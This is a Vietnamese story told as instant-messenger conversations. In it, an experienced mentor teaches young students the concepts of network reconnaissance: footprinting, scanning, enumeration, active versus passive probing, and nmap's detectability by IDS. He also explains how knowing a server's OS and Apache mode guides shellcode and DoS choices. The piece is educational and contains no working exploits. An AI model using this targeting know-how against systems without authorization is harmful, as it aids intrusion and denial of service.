Chiều hôm sau, như đã hẹn, tôi lại logon YIM. Khi vào, tôi thấy hai khuôn mặt 'vàng khè' của 'cuti' và 'docco' cộng thêm một 'request for accept' của một người có cái nick khá ngộ nghĩnh và bí hiểm là ccxx kèm theo thông điệp ngắn gọn: "Dạ em là Như đây, bạn của Hưng, Khoa và Duy đó anh. Anh add em được không ạ?". Hiển nhiên là 'cô bồ' của 'cuti' nhà mình. Tôi nhấn nút "accept" và một khuôn mặt 'vàng khè' trên cái nick ccxx hiện ra trên danh sách YIM của tôi. Chẳng thấy 'haothu' đâu cả, hay anh chàng đang 'invisible'?
Trong tích tắc, một "conference invitation" được ccxx gởi đến. Trong khi nhấn nút "Accept", tôi thầm nghĩ "chà, cô bé này có vẻ nhậm lẹ đây".
Trong 'conference room' có 'cuti', 'docco' và 'ccxx' nhưng chẳng thấy bóng dáng 'haothu' đâu cả. 'ccxx' lên tiếng:
"Chào 'anh già khó tính' ạ. Em xin tự giới thiệu em là Như. Rất vui được làm quen với anh."
Tôi mỉm người, tự nhủ "con bé liếng quả nhỉ" và đáp lễ:
"Chào Như, cũng bắt chước cu Hưng gọi anh là 'anh già khó tính' sao? Còn 'haothu' đâu rồi mấy đứa?"
'ccxx' trả lời lẹ làng:
"Dạ, em nghe nói nó bị kẹt. Không rõ bị kẹt gì mà không online được anh."
Lúc này 'cuti' và 'docco' mới lên tiếng:
"Chào anh già khó tính, anh đi chơi với mấy nhóc có vui không?"
"Chào anh D, mới có vài tuần mà em thấy như hàng tháng vậy. Anh khoẻ không?"
Tôi đáp:
"Ừa, đi chơi cũng vui lắm em. Anh cũng khỏe, còn em dạo này sao Duy?"
'docco' trả lời:
"Dạ em cũng bình thường anh. Dạo này em đọc nhiều hơn và ít đi chơi hơn "
Tôi đáp:
"Tốt quá vậy? Anh tin là em 'luyện' được mấy 'tầng nội công' rồi đó . Ừa, nãy giờ anh thử đoán cái nick ccxx là cái gì. Anh nghĩ là đoán đúng hông chừng."
'ccxx' cười khoái chí:
"Anh đoán ra được em phục lăn liền đó. Hồi giờ chưa có ai đoán ra được cái 'bí ẩn' đằng sau cái nick này đó anh."
Tôi cười, đáp:
"Ừa, nếu vậy dám anh đoán sai lắm đó. Anh nghĩ ccxx là 'công chúa xấu xí' phải không?"
Cả ba 'cuti', 'docco' và 'ccxx' cùng trả lời gần một lượt:
"Ồ"
"wow"
"độc thiệt"
và 'ccxx' nói tiếp:
"Sao anh đoán một cái là trúng phóc liền dzị? Em thiệt là phục lăn đó. Mấy người trên mạng toàn liên tưởng cái nick của em đến những thứ bậy bạ không à."
Tôi đáp:
"Chắc là mấy 'anh chàng' trên mạng đoán được nhưng không dám nói, sợ em giận vì nó có hai chữ 'xấu xí' bên trong. Anh nhìn qua chữ ccxx tự nhiên anh liên tưởng ngay đến 'công chúa xấu xí' liền. Nhưng mà, ccxx có gì mà liên tưởng đến những thứ bậy bạ vậy em?"
'ccxx' phụng phịu:
"Anh không biết đó thôi. cc là credit card chùa đó anh, còn xx là mấy thứ... ùm.... à... tầm bậy tầm bạ đó. Thôi, em không nói nữa. À nhưng mà anh không sợ em giận sao mà nói thẳng hai chữ 'xấu xí' dzị? "
'docco' xen vào:
"Thì xấu thì chấp nhận xấu chớ có gì mà giận cà."
'ccxx' phản công:
"Còn ông nữa, còn chừng ông nghe ông."
Tôi cắt ngang:
"Hì hì, anh nghĩ hai chữ 'xấu xí' đó thật ra hàm chứa một chút kiêu hãnh ngầm đó thôi. Có ai tự cho mình 'xấu xí' bao giờ? Nếu có thì cũng 'ngầm' khen mình 'xinh đẹp' . Bởi vậy, anh chẳng ngại nói ra hai chữ này. Riêng với những người liên tưởng cái nick của em thành những thứ bậy bạ thì chính họ thiệt thòi thôi. Đừng để ý làm gì."
'ccxx' thốt:
"Kinh khủng, kinh khủng. Em đọc những lời anh đối thoại với đám Hưng, Khoa, Duy đã thấy miệng lưỡi của anh kinh khủng. Giờ trực tiếp nói chuyện mới thấy quả là không sai . Thôi, em nghĩ ngoài việc 'đà khía' chuyện tin học, máy tính, anh nên huấn luyện ông Duy một khoá 'ái tìn' đi anh. Ông này cũng tốt mã, học giỏi mà sao vẫn chưa có một 'miểng tìn rách rưới' nào hết. Em bảo đảm anh huấn luyện cho ổng một khoá là thành công ngay."
'docco' luống cuống:
"Thôi.. thôi.. đi bà. Cho tui xin mà. Nhưng không cái gì mà 'tìn tìn' trong này. Thôi anh, mình nói chuyện tin học vui hơn."
'ccxx' cười ré lên:
"hi hi hi, tui đoán mặt ông Duy lúc này đang đỏ như 'mặt trời bé con' đó. Thôi, tha cho ông một lần đó. Vậy mấy anh em mình nói chuyện gì đây?"
'cuti' lúc này mới lên tiếng:
"Anh thấy... anh thấy Như hoạt bát hông anh? Hay để Như chọn đề tài được đó."
Tôi cười, đáp:
"Hì hì, anh thấy 'nhà' em hoạt bát lắm, muốn 'lăng xê' nàng liền hả? Hy vọng sẽ có nhiều chuyện lý thú đây ."
'ccxx' phát biểu một câu thật ngắn rồi bỏ dở:
"Em công nhận anh nói chuyện 'kinh' thiệt.... [/i]
'docco' cười thích thú:
"Hi hi, cám ơn anh D gỡ dùm em một quả. Em dám chắc lúc này mặt bà Như đỏ hơn 'mặt trời bé cha' nữa "
Chỉ qua vài câu đối thoại, bọn tôi đã trở nên thoải mái như đã quen thân nhau từ lâu. 'docco' hình như muốn cắt ngắn những chuyện cà rỡn để bắt đầu 'đà khía' những chuyện cu cậu thắc mắc. 'docco' lên tiếng:
"Thôi, 'đả qua đả lại' một hồi coi chừng thế chiến thứ III bắt đầu bây giờ. Mình nói chuyện khác đi hả bà con?"
'docco' nói tiếp:
"Em có tham khảo qua các vấn đề thuộc về reconnaissance rồi đó anh nhưng em thấy có nhiều điểm lờ mờ quá. Em thấy có cái thì gọi là 'enumeration', cái thì gọi là 'interrogation', cái lại gọi là "reconnaissance". Em thử so sánh thì thấy rằng chúng cùng phục vụ cho mục đích thăm dò. Vậy cái nào là cái nào đây anh?"
Tôi cười, đáp:
"Hì hì, nhảy ngay vào kỹ thuật hả? Chắc em sợ mình lại 'lạc đề' sang những chuyện khác chớ gì? Đúng là những thuật ngữ em liệt kê ra ở đây đều tựu trung vào tinh thần chung: thăm dò. Reconnaissance dịch sát nghĩa là 'khai thác thông tin' và 'interrogate' và 'enumerate' dính líu trong tiến trình khai thác này. Trong đó, 'interrogate' dịch sát nghĩa là 'hạch hỏi' và 'enumerate' là 'đếm'. Nắm được những thuật ngữ này cũng có ích để hiểu sâu từng phân đoạn của quá trình thăm dò. Tuy nhiên, nếu em cảm thấy bối rối với những thuật ngữ này thì khoan hẵng tìm cách 'dịch' chúng sang tiếng Việt vì có những từ dịch không được hoặc không đủ lột tả tinh thần. Cứ tiếp nhận chúng như những thuật ngữ vậy thôi. Sau này em sẽ rõ hơn."
'ccxx' xen vào:
"Thôi để anh già và Duy đối thoại hén? Em với Hưng ngồi nghe. Có gì thắc mắc bọn em tham gia sau."
'docco' trả lời gọn lỏn:
"Ừa, vậy càng tốt. Đỡ bị loãng."
Rồi hỏi tiếp:
"Vậy tóm lại quá trình thăm dò bao gồm những bước chính nào vậy anh? Và tại sao phải thực hiện những bước này?"
Tôi đáp:
"Đáng lẽ ra anh phải hỏi em câu hỏi này để giúp em tổng hợp những gì em đã đọc. Tuy nhiên, em có vẻ khá bối rối với những thuật ngữ kia. Anh e rằng em đang rối... tùng phè lên trong đó nên để anh tóm tắt luôn vậy.
Thật ra không có một luật nào bắt buộc phải thao tác đúng từng bước để phục vụ mục đích thăm dò cả. Tùy mục tiêu và tùy khả năng phòng bị và thắt chặt của mục tiêu mà khai triển kế hoạch thăm dò cho thích hợp. Anh nghĩ mình có thể tóm gọn chúng lại thành ba phần chính:
- tìm dấu ấn (footprinting) --> xác định mục tiêu tổng quát
- rà quét (scanning) --> xác định các dịch vụ tổng quát
- lấy số liệu cụ thể (enumerating) --> thu thập thông tin cụ thể.
Em thử suy luận xem, tại sao phải tìm dấu ấn? tại sao phải rà quét và tại sao phải thu thập thông tin cụ thể?"
'docco' rụt rè:
"Dạ... em nói đại nghe? Tìm dấu ấn để xác định hệ điều hành nào mình đang đối diện nhằm thu hẹp biên độ dò tìm và khai triển bước kế tiếp được chính xác hơn. Còn rà quét thì em nghĩ... đã tiến tới một bước rất cụ thể là tìm xem có những dịch vụ nào đang được cung cấp trên mục tiêu mình muốn thăm dò để thiết lập kế hoạch thâm nhập. Còn lấy số liệu cụ thể... ùmm... à... em không biết nữa."
Tôi cười, cổ vũ 'docco':
"Em trả lời hai phần đầu vậy là súc tích và chính xác lắm rồi. Tất nhiên phần thứ ba là phần lấy kết quả, là phần kết thúc quá trình thăm dò chớ còn gì nữa em? Bước này càng cụ thể hơn bước thứ nhì là mình dùng nó để thiết lập bước thâm nhập. Vậy mình có thể thêm vào bảng liệt kê ở trên như sau:
- tìm dấu ấn (footprinting) --> xác định mục tiêu tổng quát --> thu hẹp biên độ thăm dò
- rà quét (scanning) --> xác định các dịch vụ tổng quát --> thiết lập kế hoạch thâm nhập
- lấy số liệu cụ thể (enumerating) --> thu thập thông tin cụ thể --> thiết lập bước thâm nhập
Em thấy có gì đặc biệt với bảng liệt kê này không?"
'ccxx' xen vào:
"Càng lúc càng cụ thể phải không anh?"
Tôi đáp:
"Đúng rồi đó em. Càng lúc càng cụ thể và càng cụ thể càng tốt. Thật ra 3 'bước' ở trên có thể kết hợp lại thành 1 'bước', cũng có thể tách rời ra làm 2 'bước' hoặc mở rộng ra thành... mấy chục bước. Với mục đích dò tìm thông tin thì miễn sao tìm được thông tin cụ thể và chính xác là được, không nhất thiết phải theo... 'bước'."
'cuti' thắc mắc:
"Nhưng tại sao tìm footprint lại quan trọng thế anh? Em thấy một web server apache chạy trên Windows 2000 và một web server apache chạy trên Linux đâu có khác gì đâu anh?"
Tôi đáp:
"Nếu nhìn một cách tổng quát trên phương diện người dùng thì nhận định của em không sai nhưng nếu xét cẩn thận về mặt kỹ thuật thì nhận định của em chưa.... hoàn toàn đúng. Trên phương diện người dùng, cả hai apache (em đưa ra) đều nhận request, xử lý request, đều có thể gắn với asp, jsp, php, cgi... để tạo trang động nhưng xét cho cặn kẽ thì cơ chế quản lý bộ nhớ lẫn cơ chế điều tác process trên hai hệ điều hành khác nhau rất xa. Những khác biệt này dẫn tới chiến lược phòng thủ hay tấn công rất khác nhau. Việc nhận diện dấu ấn của mục tiêu không chỉ giúp giới hạn biên độ thăm dò và khai thác mà nó còn trực tiếp ảnh hưởng đến việc:
- quyết định 'tấn công' hay 'rút lui' (nói theo phương diện tấn công) hoặc,
- quyết định 'thắt chặt thêm' hay 'xây dựng lại từ đầu' (nói theo phương diện phòng thủ)."
'cuti' vẫn thắc mắc:
"Em vẫn thấy vấn đề này hơi mù mờ đó anh. Nếu cần tấn công một webserver apache có chạy php chẳng hạn thì cũng bấy nhiêu kỹ thuật như sql inject, xss... vậy thì chạy trên Windows hay trên *nix đâu có khác gì?"
Tôi trả lời:
"Em nói đúng nhưng cái đúng này bị áp đặt trong một giới hạn khá hẹp. Tấn công và thâm nhập một dịch vụ (web chẳng hạn) không chỉ dừng lại ở sql inject và xss. Đây là những kỹ thuật phổ biến và dễ thực hiện, hơn nữa những lỗi này lại thường thấy nên thường được chú trọng. Nếu 'tấn công' chỉ dừng lại ở chỗ 'chôm' được admin password của một forum hay đưa lên một thông điệp trên một trang web để 'deface' thì mấy kỹ thuật em đề cập đã đủ dùng. Nếu thế thì phạm vi reconnaissance ở đây rất nhỏ hoặc không cần thiết nữa. Những điều anh đưa ra ở đây có thể dùng để ứng dụng nhiều khả năng và kỹ thuật thâm nhập hơn nữa, cho nên reconnaissance trở nên cần thiết. Ví dụ, em muốn chạy shellcode đến dịch vụ web của server để lấy một cái 'shell' cho mục đích thâm nhập sâu hơn nhưng không xác định chính xác hệ điều hành của mục tiêu thâm nhập là gì thì không có cách gì tạo shellcode được. Lý do, shellcode của mỗi hệ điều hành mỗi khác.
Nếu mục tiêu thâm nhập càng sâu thì quá trình reconnaisance đòi hỏi càng phải cẩn thận và chi tiết. Ngay cả những 'màn' tấn công thuộc loại 'dơ' như DoS chẳng hạn, để thực sự 'giết' mục tiêu mình muốn DoS, em phải hiểu rất rõ điểm yếu của hệ điều hành và dịch vụ đang chạy. DoS 'chết' một Windows server chạy Apache + php (dùng prefork) và không có database connection pool nhanh hơn DoS chết một Linux server chạy Apache + jsp (dùng worker) và có connection pool hẳn hòi. Những chi tiết này ở đâu ra? Đó chính là kết quả quả 'reconnaissance' đó em.
Năm ngoái, một server do anh quản lý (chạy Linux) bị mấy 'ông thần' nào đó dùng 'ping of death' để tấn công. Điều buồn cười là dạng 'ping of death' này dành cho Windows phiên bản cũ, bị lỗi ở phần giới hạn packet size của ICMP làm treo máy khi bị tấn công. Anh không hiểu sao nhóm này cứ hè nhau mà tấn công Linux server của anh bằng một thứ công cụ dành để tấn công Windows. Hơn nữa, Linux server của anh hoàn toàn cản mọi inbound ICMP và UDP. Các gói tin ICMP và UDP chỉ có thể đi vào khi chúng mang vai trò trả lời cho các request đi từ bên trong Linux server mà thôi. Điều này có nghĩa những gói ICMP họ 'tia' vào server của anh bị huỷ ngay khi đụng firewall. Vậy mà nhóm này vẫn nhắm mắt, nhắm mũi 'tia' đến mấy tiếng liên tục rồi mới chịu ngưng. Tất nhiên dạng tấn công như thế chẳng làm suy suyển server của anh mảy may nào hết. Điều đáng nói là nguồn tấn công hoàn toàn đi từ VN ra và điều đáng buồn là những 'ông thần' này không thèm tìm hiểu xem 'ping of death' là gì, thật sự đã tạo ra tác hại gì đến server của anh không. Có lẽ mấy 'ông thần' này tìm đâu ra mấy cái script viết sẵn trên Internet rồi hè nhau mà 'ria' vào server của anh chăng?"
'docco' lè lưỡi (một biểu tượng được dùng trên YIM) rồi lên tiếng:
"Ái chà, bây giờ em mới hiểu lý do tại sao reconnaissance lại quan trọng như thế. Lúc đọc tài liệu, em cứ ngỡ đây là những bước cần phải làm cho đúng nguyên tắc và chẳng thấy có phân tích mấu chốt của reconnaissance là gì hết. Em cũng có đọc sơ sơ qua về shellcoding và thấy hoàn toàn mù tịt. Còn chuyện mấy 'ông thần' tìm đồ chơi trên mạng rồi đi 'ria' là chuyện thường ngày mà anh? "
Tôi đáp:
"Anh nghĩ sách vở thường giới thiệu những điểm chung nhất và dễ tiếp nhận nhất. Sau khi thử nghiệm, tự nhiên em sẽ 'ngộ' ra lý do của từng phân đoạn trong cả một quá trình thực hiện. Những người càng kinh nghiệm về bảo mật thì bước thăm dò của họ càng chiếm nhiều thời gian. Đối với một kẻ có chủ trương 'tấn công', hắn phải dò xét hết sức cẩn thận trước khi bắt tay vào thực hiện ý định của mình để đạt được mục đích, ít tốn thời gian, ít có cơ hội bị... tóm. Cũng lắm lúc, kẻ này bỏ cuộc vì sau khi dò xét cẩn thận, hắn cảm thấy không đáng để mất thời gian. Đối với người phòng thủ, quá trình 'dò xét' lại càng khó hơn bởi vì người phòng thủ phải đặt mình vào vị trí khách quan, phải test hệ thống của mình y như một 'black box' thật sự rồi từ đó mới đi đến việc kiện toàn bảo mật."
'cuti' nhận xét:
"Nhưng làm sao mình có thể dò xét ra một server nào đó đang chạy Windows, dùng php và dùng prefork chớ không phải nó đang chạy Linux, dùng jsp và dùng worker vậy anh? Bộ 'reconnaissance' có thể cung cấp thông tin ở mức độ này luôn sao?"
Tôi cười, đáp:
"Cái này tùy vào khả năng thăm dò của em. Có nhiều yếu tố để giúp em đi đến chỗ kết luận là mục tiêu thăm dò của em có cái gì. Bởi vậy, như anh đã nói, giai đoạn reconnaissance có thể là giai đoạn mất thời gian nhất. Riêng chi tiết Windows chạy apache với php hay Linux chạy apache với jsp thì phần lớn em cần có một số kiến thức và dùng khả năng suy luận để đưa về một kết luận nào đó có lý nhất."
'cuti' càng thêm tò mò:
"Vậy có nghĩa là sao anh? anh nói sâu hơn một tí được không anh?"
Tôi đáp:
"Hèm... ok, để anh thử tóm gọn xem sao. Nếu em rành php, em hẳn biết là php trước phiên bản 5.x hoàn toàn không thread-safe. Ngay cả những người đang dùng php 5.x không không mấy ai 'dám' dùng ở chế độ 'thread-safe' cả. Nếu em dò một website và biết rằng nó chạy bằng php trên apache, em có thể đoán 99% là nó chạy ở chế độ prefork. Nếu em chịu khó dò thêm footprint của hệ điều hành và xác định được nó chạy trên Windows server thì em có thể xác định nó chạy php trên apache với chế độ prefork. Tương tự, nếu em dò một website và biết nó chạy bằng jsp, em có thể đoán 99% là nó chạy ở chế độ worker. Nếu xác định được thêm hệ điều hành là Linux thì em càng có thể khẳng định nó chạy jsp trên apache với chế độ worker. Tất nhiên, thu thập càng nhiều thông tin, càng giúp em khẳng định phỏng đoán của em chính xác và để thu thập nhiều thông tin thì 'reconnaissance' càng mất thời gian là vậy. Nên nhớ là luôn luôn có những sai số trong 'reconnaissance' vì người phòng thủ cố tình dấu footprint hoặc đánh lừa các công cụ em dùng để lấy footprint. Những sai số này càng nhiều thì kết quả càng ít đáng tin cậy."
'cuti' gật gù:
"Hoá ra đây là cả một nghệ thuật chớ chẳng đùa. Những kiến thức và kinh nghiệm cho việc xác định 'nó' chạy php hay jsp cũng đủ đã điên cái đầu rồi. Dân không đụng những chuyện này thì biết đường nào mà mò anh? Như vậy rõ ràng kiến thức có sẵn tuyệt đối quan trọng. Nếu không có thì ngay cả việc thăm dò cũng không thể được. Biết gì mà thăm dò?"
Lần này 'ccxx' góp chuyện:
"Thì bởi, em đọc những mẩu đối thoại của anh già khó tính và mấy ông tướng này, em thấy anh nhấn mạnh rất nhiều lần cái gọi là 'ngọn ngành'. Những mẩu thông tin nho nhỏ đều đi từ 'ngọn ngành' ra phải không anh?"
Tôi cười, đáp:
"Đúng đó 'công chúa xinh đẹp' . Anh có lặp đi lặp lại nhiều lần: 'muốn bảo vệ hay tấn công, mình phải nắm rõ mục tiêu' là vậy đó. 'reconnaissance' chính là bước để giúp 'nắm rõ mục tiêu' ở khuôn khổ 'blackbox' vậy."
'docco' xen vào hỏi thêm:
"Khái niệm 'blackbox' là sao anh? Với lại 'prefork' khác gì với 'worker' vậy anh?"
Tôi đáp:
"Em chưa từng nghe qua 'blackbox' và 'whitebox' sao? Sẵn đây mình nên làm quen với khái niệm này luôn. 'blackbox' chỉ cho hoàn cảnh thử nghiệm một server mình hoàn toàn không biết gì về nó; mình chỉ ở bên ngoài, chọc ngoáy nó để tìm thông tin mà thôi. Trong khi đó, 'whitebox' là một server mình nắm rõ nó có những gì, nó hoạt động ra sao và cung cấp những gì. Những công ty tư vấn về bảo mật thường thử nghiệm độ bảo mật của hệ thống theo dạng 'blackbox' là chính. Họ không biết gì về hệ thống của khách hàng cả nhưng họ vận dụng mọi phương tiện để thẩm định độ bảo mật của hệ thống này. Sau khi hoàn thành giai đoạn 'blackbox' rồi họ mới đi đến giai đoạn 'whitebox' và mới giới thiệu phương án phòng thủ. 'whitebox' test thường dùng để thử nghiệm tính năng và hoạt động của hệ thống dựa trên một số thước đo nào đó.
Riêng 'prefork' và 'worker' thì thế này. Đúng ra mình phải dùng thuật ngữ 'process' và 'thread' thì thích hợp với tinh thần mình bàn ở đây hơn. Lý do anh dùng 'prefork' và 'worker' là vì mình đang nói về webserver apache và những thuật ngữ này là những thuật ngữ của apache. 'prefork' là cơ chế xử lý request của apache bằng cách tạo process. Process thì thường nặng nề, tốn tài nguyên và kém hiệu xuất nhưng được một điểm là rất bền, ít bị sự cố. Trong khi đó, 'worker' là cơ chế xử lý request của apache bằng cách tạo thread. Thread thì nhẹ nhàng, ít hao tốn tài nguyên hơn, hiệu xuất hơn nhưng lại có nhược điểm là kém bền bỉ, dễ bị sự cố. Nói trên bình diện bảo mật và đặc biệt là tính hiệu xuất cũng nhưng tính bền bỉ của một dịch vụ, mỗi chọn lựa đều có điểm ưu và khuyết. Tuỳ nhu cầu và hoàn cảnh mà chọn cho thích hợp."
'cuti' diễu:
"He he, đừng bắt bọn em phải học kỹ về thread và process đó nha anh. Chết tụi em đó "
Tôi đáp:
"Lại 'bắt' . Anh chẳng bao giờ 'bắt' em phải làm gì cả. Đến một lúc nào đó, tự nhiên em cảm thấy cần phải hiểu về 'thread' và 'process' thì tự nhiên em tìm hiểu thôi. Lúc ấy anh có 'bắt' em không tìm hiểu cũng chả được. Nói đùa vậy thôi, nếu siêng, em nên tìm hiểu dần dần về 'thread' và 'process'. Theo anh, đây là một trong những 'đơn vị' nền tảng của những điều em đang làm quen đó."
'docco' cảm thán:
"Không ngờ từ chuyện này lại dẫn đến bao nhiêu là chuyện khác. Đúng là 'bể học mênh mông, dục tốc bất đạt' thật không sai tí nào."
Tôi cười, động viên 'docco':
"Thong thả thôi em, việc gì phải 'dục tốc' để rồi 'bất đạt'? Đừng tham quá mà đi đến chỗ 'bội thực' mà thôi."
'docco' hỏi tiếp:
"Vậy khái niệm 'active' và 'passive' recconnaissance mà anh đề cập lần trước liên quan thế nào đến 3 bước ở trên vậy anh?"
Tôi ngẫm nghĩ "chà, các 'bước' là các bước còn 'active' hay 'passive' là dạng. Làm thế nào để cu cậu đừng lẫn lộn đây nhỉ?", thế rồi tôi trả lời:
"Thế này, 'active' hay 'passive' là các dạng thăm dò, còn 3 bước ở trên là cụ thể các bước khai triển. Em có thể dùng dạng 'active' hoặc 'passive' hoặc cả hai dạng này để thực hiện 3 bước ở trên. Đây là mối liên quan mà em thắc mắc đó."
'cuti' nhanh nhảu:
"Vậy... ví dụ bước một, khi nào mình dùng 'active', khi nào mình dùng 'passive' anh?"
Tôi hỏi ngược lại:
"Vậy em còn nhớ mục đích của việc dùng 'active' và 'passive' để thăm dò không?"
'cuti' đáp:
"Dạ nhớ chớ anh. 'ative' chính xác hơn nhưng ít kín đáo hơn. 'passive' kín đáo hơn nhưng ít chính xác hơn. Nhưng ý em là trong lúc tìm footprint, khi nào thì thao tác 'passive', khi nào thì dùng 'active' đó mà."
Tôi chỉnh 'cuti' ngay vì không chịu suy nghĩ mà chỉ hỏi 'trơn':
"Em vừa trả lời ngay câu hỏi của em đó thôi. Nếu đã nắm được 'ative' chính xác hơn nhưng ít kín đáo hơn. 'passive' kín đáo hơn nhưng ít chính xác hơn thì tại sao không dùng nó mà ứng dụng? Anh nghĩ em nên động não hơn một tí đó Hưng."
'ccxx' xen vào:
"Anh nói đúng đó, ông Hưng này có cái tật dễ thì đâm lười đó anh. Anh quay ổng như 'dế' thì ổng sẽ động não thôi, đừng trả lời mọi câu hỏi của ổng là cách hay nhất. Em biết lắm mà ."
Tôi cười, đáp:
"Ừa, em mà không biết cu Hưng 'lắm' thì còn ai biết nữa em? Thôi... em 'quay nó như dế' dùm anh nha?"
'ccxx' cười thích chí:
"Hi hi hi, anh hông biết đó thôi, em quay ổng như cơm bữa mà không thì 'dễ hoá lười' liền thôi."
'docco' có vẻ bồn chồn với những đối thoại thuộc dạng chit chat, cu cậu xen vào:
"E hèm... hơi bị... lạc đề á. Anh già ơi, cho em hỏi thêm cái này nha? Có bao nhiêu cách để xác định footprint vậy anh? Em đọc sách thấy có khá nhiều công cụ, vậy theo anh mình nên dùng cái nào?"
Tôi đáp:
"Anh không thể nói rõ có bao nhiêu cách vì anh không biết thật sự có bao nhiêu cách. Cái này tùy vào tính linh động và khả năng sáng tạo thôi em. Anh cũng không thể trả lời em là nên dùng công cụ nào. Chỉ có chính em tự tay dùng rồi chọn lấy một hoặc nhiều công cụ em thích mà thôi. Có những công cụ 'gom' luôn các công đoạn xác định hệ điều hành, xác định các dịch vụ đang chạy (open ports) thậm chí lấy luôn cả phiên bản của software cung cấp dịch vụ. Tuy nhiên, công cụ nào cũng có ưu khuyết điểm cả. Ví dụ nmap là một port scanner rất độc đáo, nó có thể thực hiện ba điều ở trên cùng một lúc nhưng nếu dùng không đúng mức thì nó sẽ rất 'ồn ào' vì nó không những 'active' mà 'extremely active'. Những hệ thống có trang bị IDS, IPS sẽ phát hiện ngay là có nmap đang dò dẫm và đây là điều bất lợi cho việc thăm dò."
'docco' phát biểu:
"À, vậy nmap là công cụ thuộc dạng 'active' rồi. Em phải ghi nhớ chuyện này."
Tôi cười, nói:
"Không hẳn là như vậy đâu em. Anh nói là nếu dùng không đúng mức thì nó sẽ rất 'ồn ào' cơ mà. Nếu em dùng nó đúng mức, nó không còn 'extremely active' nữa. Nó không phải 'passive' nhưng cũng không hẳn là 'active' bởi vì em không tạo ra nhiều 'tiếng ồn' trong khi rà (nếu dùng đúng mức)."
'cuti' cảm thán:
"Chẹp... chỉ có chuyện 'rà' không mà cũng lắm nguyên tắc và công phu đến thế. Chắc lại phải học thêm nmap roài."
Tôi đáp:
"Em có vẻ bồn chồn với chuyện làm quen với những công cụ mới hay sao vậy Hưng? người ta viết hàng ngàn dòng code, xây dựng hàng trăm signature, viết manual sẵn. Em chỉ có việc đọc và dùng mà còn rên rỉ sao em? Kiểu này bắt đầu nguy rồi đó."
'cuti' đính chính lia lịa:
"Hông, hông có đâu anh. Em thức sáng đêm để quậy còn được mà. Ý em sau mỗi lần nói chuyện với anh là có thêm hàng loạt thông tin mới, cả đống công cụ mới để thử, để làm quen. Em cảm thấy có một phần sức ép nào đó để đuổi bắt với thông tin anh đưa ra thôi anh."
Tôi cười:
"Hì hì, vậy em còn muốn 'hack' không? Anh cũng cảm thấy điều đó nên mấy anh em mình 'đà khía' ít thường xuyên hơn là thế. Em không nên nghĩ và tự tạo sức ép cho mình là phải thông thạo, phải nắm vững các thông tin mới mẻ ngay lập tức. Từ từ, thong thả thôi em."
'docco' hỏi tiếp:
"Hồi nãy anh nói đến vấn đề 'ồn', ồn ở đây là những dấu hiệu mà hệ thống phát hiện phải không anh?"
Tôi đáp:
"Đúng rồi đó em. 'Ồn' ở đây chính là những thông tin được ghi nhận trong các log files của hệ thống hay các hệ thống phát hiện gần như 'real time' như IDS/IPS đó. Mỗi dạng thăm dò thường có tính chất đặc thù và những đặc thù đó được ghi nhận trên các hệ thống phòng thủ, còn gọi là 'signature'. Nếu admin của hệ thống ấy bất thình lình thấy có hàng loạt cú 'rà' trên hệ thống của mình thì coi như mục đích thăm dò và thâm nhập của ai đó bị hỏng. Nếu admin không nhận thấy những dấu hiệu này mà IDS/IPS nhận thấy thì tình hình cũng chẳng khác gì mấy. Không riêng gì nmap mà tất cả các software em dùng, cái nào cũng 'ồn' cả thôi. Chỉ có cái khác là em 'thấy' hay 'không thấy' được cái 'ồn' đó thôi . Để rà một máy con của một người đang duyệt web thì chẳng phải lo mấy đến cái 'ồn' cả vì họ hiếm khi 'thấy' được sự 'ồn' đó. Tuy nhiên, để rà và thăm dò một máy chủ, một mục tiêu đáng để thâm nhập hay đáng để bảo vệ thì mỗi chi tiết 'ồn' đều là dấu hiệu quan trọng."
'ccxx' thắc mắc:
"Để khỏi bị 'ồn', mình không cần thăm dò kỹ mà chỉ tấn công thẳng vào dịch vụ web thì sao anh?"
Tôi cười, đáp:
"Thì mình nắm phần thất bại nhiều hơn là thành công 'công chúa xinh đẹp' ạ."
'ccxx' phụng phịu:
"Ứ ừ, em hỏi thật mà anh cứ đùa hoài."
Tôi cười phá lên và tiếp tục:
"Á à, anh trả lời thật mà em cứ ngỡ anh đùa hoài. Mình tấn công thẳng vào dịch vụ web là tấn công thế nào em? Mình không nắm được nó mạnh, yếu chỗ nào thì mình chỉ 'đấm đá' kiểu 'bịt mắt' thôi thì có trúng trật vào đâu nào? Cái này cũng giống như trường hợp 'ping of death' anh nói hồi nãy thôi em. Nó cũng giống như muốn đục cánh cửa sắt của két tiền mà cứ dùng dùi đục bằng gỗ mà phang vào cửa sắt thì chừng nào thủng được cái tủ? "
'ccxx' giả lã:
"Hi hi, anh già vui tính ghê. Chắc em hỏi hơi ngớ ngẩn thật đa. Lần sau em sẽ uốn lưỡi 7 lần trước khi hỏi cho chắc ăn."
Tôi đáp:
"Không em, em cứ nói chuyện thoải mái. Có bất cứ ý nghĩ nào nảy ra trong đầu cứ phát biểu. Chuyện đúng, sai, ngớ ngẩn không quan trọng mà quan trọng ở chỗ em rút tỉa được những gì trước và sau khi đưa ra câu hỏi. Nếu em e dè quá thì cuộc đối thoại của mấy anh em mình sẽ 'khô' như rơm thôi."
'ccxx' trả lời:
"Dạ. Em cứ thế mà phang, anh chuẩn bị tinh thần đó nha."
'docco' xen vào:
"Không biết em nhận xét những cái này có đúng hông, anh xem thử nha. Ví dụ muốn khám phá các chi tiết thuộc về domain name của một host nào đó, mình có thể dùng một công cụ online để xem mà không cần tiếp xúc trực tiếp từ máy của mình đến DNS server của mục tiêu. Cái này gọi là thăm dò ở dạng 'passive' phải không anh?"
Tôi đáp:
"Đúng lắm. Nó hoàn toàn 'passive' bởi vì em chỉ 'query' thông tin một domain, một host nào đó trên một DNS database công cộng. Có thể DNS em đang query sẽ liên hệ với authoritative DNS server của mục tiêu em đang thăm dò để lấy thông tin, cũng có thể là không vì nó dùng thông tin có sẵn trong cache không chừng. Dù gì đi chăng nữa, đây vẫn là dạng 'passive' bởi vì admin cũng như hệ thống IDS của mục tiêu em muốn thăm dò đều không có cách gì biết được em đang thăm dò. Những thông tin này thường ở dạng tổng quát và dành cho công cộng. Nó cũng có ích để xác định một số điều. Tuy nhiên, để thăm dò DNS và hình thành cấu trúc mạng của mục tiêu, đôi khi em phải chuyển sang dạng thăm dò 'active'."
'docco' hỏi tiếp:
"Anh ví dụ một kiểu thăm dò DNS ở dạng 'active' được không anh?"
Tôi trả lời:
"Được chớ em. Thông thường, em dùng nslookup trên windows chẳng hạn, thì thế này:
C:>\> nslookup <server.domain.com>
